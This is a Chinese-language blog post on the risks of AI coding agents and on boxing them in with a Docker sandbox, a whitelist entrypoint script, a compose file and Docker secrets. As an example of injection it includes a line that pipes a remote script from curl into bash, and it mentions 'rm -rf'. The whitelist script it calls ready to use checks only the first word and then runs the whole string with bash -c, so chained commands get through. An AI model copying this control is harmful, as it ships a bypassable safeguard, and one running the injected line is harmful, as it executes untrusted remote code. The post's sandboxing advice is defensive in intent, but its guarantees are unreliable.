Anthropic 的 2026 Agentic Coding Trends Report 指出,开发者日常工作中 AI 的介入比例正在快速攀升。Coding Agent 已经从"偶尔用用"变成了"默认开启"。但问题来了:这些 Agent 拥有读写文件、执行命令、调用 API 的能力,却几乎没有任何安全边界。每一次 agent.run() 都可能是一次无审计的特权操作。
这不是理论风险。已经有多起真实事故:Agent 误删生产数据库、在 CI 管道中注入恶意依赖、把密钥写进公开日志。下面拆解几类典型失败模式,然后给出用 Docker Sandbox 做围堵的可操作方案。
Agent 的三类致命失控
1. 命令注入——Agent 变成 root shell
大多数 Coding Agent 底层调用的是 shell 执行器。用户一句"帮我清理临时文件",Agent 可能生成:
rm -rf /tmp/*
如果 Agent 运行在宿主机上且用户有 sudo 权限,这条命令的实际效果远超"临时文件"。更隐蔽的场景:Agent 在拼接路径时引入变量注入,导致命令从 ls /var/log/$APP 变成 ls /var/log; curl malicious.sh | bash。
2. 依赖投毒——Agent 帮你装了后门
Agent 常被要求"安装缺少的包"。它搜索 PyPI/npm,找到名字相近的包,直接 pip install。2024 年已有多个仿冒包被上传到 PyPI,名字和热门库只差一个字母。Agent 没有能力做供应链验证,它只看名字匹配就执行安装。
3. 密钥泄露——Agent 把秘密写进了公开上下文
Agent 在调试时读取 .env 文件、读取环境变量,然后把内容写进对话日志、commit message 或 PR description。这些通道对团队内部可见,甚至对公开仓库可见。一次"帮我检查为什么数据库连不上"的请求,可能就把 DB_PASSWORD 写进了 GitHub Issue。
Docker Sandbox:给 Agent 套上铁笼
核心思路很简单:Agent 不在宿主机上跑,而是在一个随时可以销毁的容器里跑。 容器没有宿主机网络、没有特权、没有持久存储。Agent 做完任务,容器销毁,所有中间状态灰飞烟灭。
下面是一个可以直接拿来用的沙箱配置。
最小化沙箱 Dockerfile
# sandbox.Dockerfile — Agent 运行环境,极简、无特权
FROM python:3.12-slim
# 只装 Agent 需要的最小工具集
RUN apt-get update && apt-get install -y --no-install-recommends \
git \
curl \
&& rm -rf /var/lib/apt/lists/*
# 创建非 root 用户
RUN useradd -m -u 1000 agent
USER agent
WORKDIR /workspace
# 不挂载任何宿主机目录,workspace 是容器内部临时空间
COPY --chown=agent entrypoint.sh /home/agent/entrypoint.sh
ENTRYPOINT ["/home/agent/entrypoint.sh"]
entrypoint.sh——限制 Agent 可执行命令的白名单
#!/bin/bash
# entrypoint.sh — Agent 命令白名单执行器
set -euo pipefail
ALLOWED_COMMANDS="ls cat head tail grep find python3 pip git curl mkdir touch cp mv"
# 从环境变量读取 Agent 要执行的命令
AGENT_CMD="${AGENT_CMD:-}"
if [ -z "$AGENT_CMD" ]; then
echo "No AGENT_CMD provided. Exiting."
exit 0
fi
# 提取命令的第一个词(命令名)
CMD_NAME=$(echo "$AGENT_CMD" | awk '{print $1}')
# 白名单检查
if ! echo "$ALLOWED_COMMANDS" | grep -qw "$CMD_NAME"; then
echo "BLOCKED: '$CMD_NAME' is not in the allowed list."
echo "Allowed: $ALLOWED_COMMANDS"
exit 1
fi
# 执行(仍然在非 root、无特权容器内)
echo "Executing allowed command: $AGENT_CMD"
exec bash -c "$AGENT_CMD"
用 docker compose 启动沙箱并运行 Agent 任务
# compose.sandbox.yaml
services:
agent-sandbox:
build:
context: .
dockerfile: sandbox.Dockerfile
# 关闭特权,禁止宿主机能力
privileged: false
cap_drop:
- ALL
# 只读根文件系统
read_only: true
tmpfs:
- /tmp:size=100M
- /workspace:size=500M,mode=770
# 禁止挂载宿主机目录
volumes: []
# 无外网访问(只允许内部 DNS)
networks:
- no-external
# 内存和 CPU 限制
mem_limit: 512m
cpus: 1.0
environment:
- AGENT_CMD=${AGENT_CMD:-ls /workspace}
# 任务完成后自动退出并删除容器
auto_remove: true
networks:
no-external:
internal: true # 完全隔离外网
运行一个 Agent 任务:
# 启动沙箱,让 Agent 执行 "ls /workspace"
AGENT_CMD="ls /workspace" docker compose -f compose.sandbox.yaml up --build
# Agent 尝试执行 rm -rf → 被白名单拦截
AGENT_CMD="rm -rf /tmp" docker compose -f compose.sandbox.yaml up --build
# 输出: BLOCKED: 'rm' is not in the allowed list.
密钥隔离:用 Docker secrets 代替环境变量
不要把密钥放进 .env 或环境变量——Agent 能直接读取。用 Docker secrets 机制,密钥只对指定服务可见,且以临时文件挂载,Agent 无法枚举:
# 创建 secret
echo "s3cr3t_db_pass" | docker secret create db_password -
# 在 compose 中引用(Agent 容器不挂载此 secret)
# 只有需要密钥的正式服务才挂载
services:
api-server:
image: my-api:latest
secrets:
- db_password
# ... 正常服务配置
agent-sandbox:
# 不挂载任何 secret
# Agent 如果需要数据库访问,必须通过 api-server 的内部接口
围堵不是万能药——需要正视的边界
Docker Sandbox 解决了"Agent 在宿主机上乱跑"的问题,但以下场景仍然有风险:
- Agent 通过内部网络横向移动:如果
no-external网络里还有其他服务,Agent 可能攻击它们。解法是给沙箱一个完全独立的网络命名空间,只放 Agent 自己。 - Agent 产出物的安全审查:沙箱内生成的代码、配置文件在导出后仍需人工审查。沙箱只限制执行,不限制生成内容的质量。
- 白名单维护成本:随着 Agent 能力扩展,白名单会越来越长。建议定期审计,把高风险命令(
curl、pip)设为需要二次确认。
上手清单
如果你今天就要在团队里部署 Coding Agent,按这个顺序做:
- 立刻停止在宿主机直接运行 Agent。所有 Agent 执行都走容器。
- 用上面的 Dockerfile + compose 配置创建沙箱,先跑
ls、cat等低风险命令验证流程。 - 把所有密钥从环境变量迁移到 Docker secrets 或 Vault,Agent 容器不挂载。
- 建立命令白名单并纳入 CI 检查——每次 Agent 执行的命令都要有审计日志。
- 设置容器自动销毁策略:
auto_remove: true+mem_limit,确保 Agent 任务结束后不留痕迹。
Agent 是生产力工具,但它同时也是一台没有刹车的高速机器。沙箱不是可选的装饰,是必须的基础设施。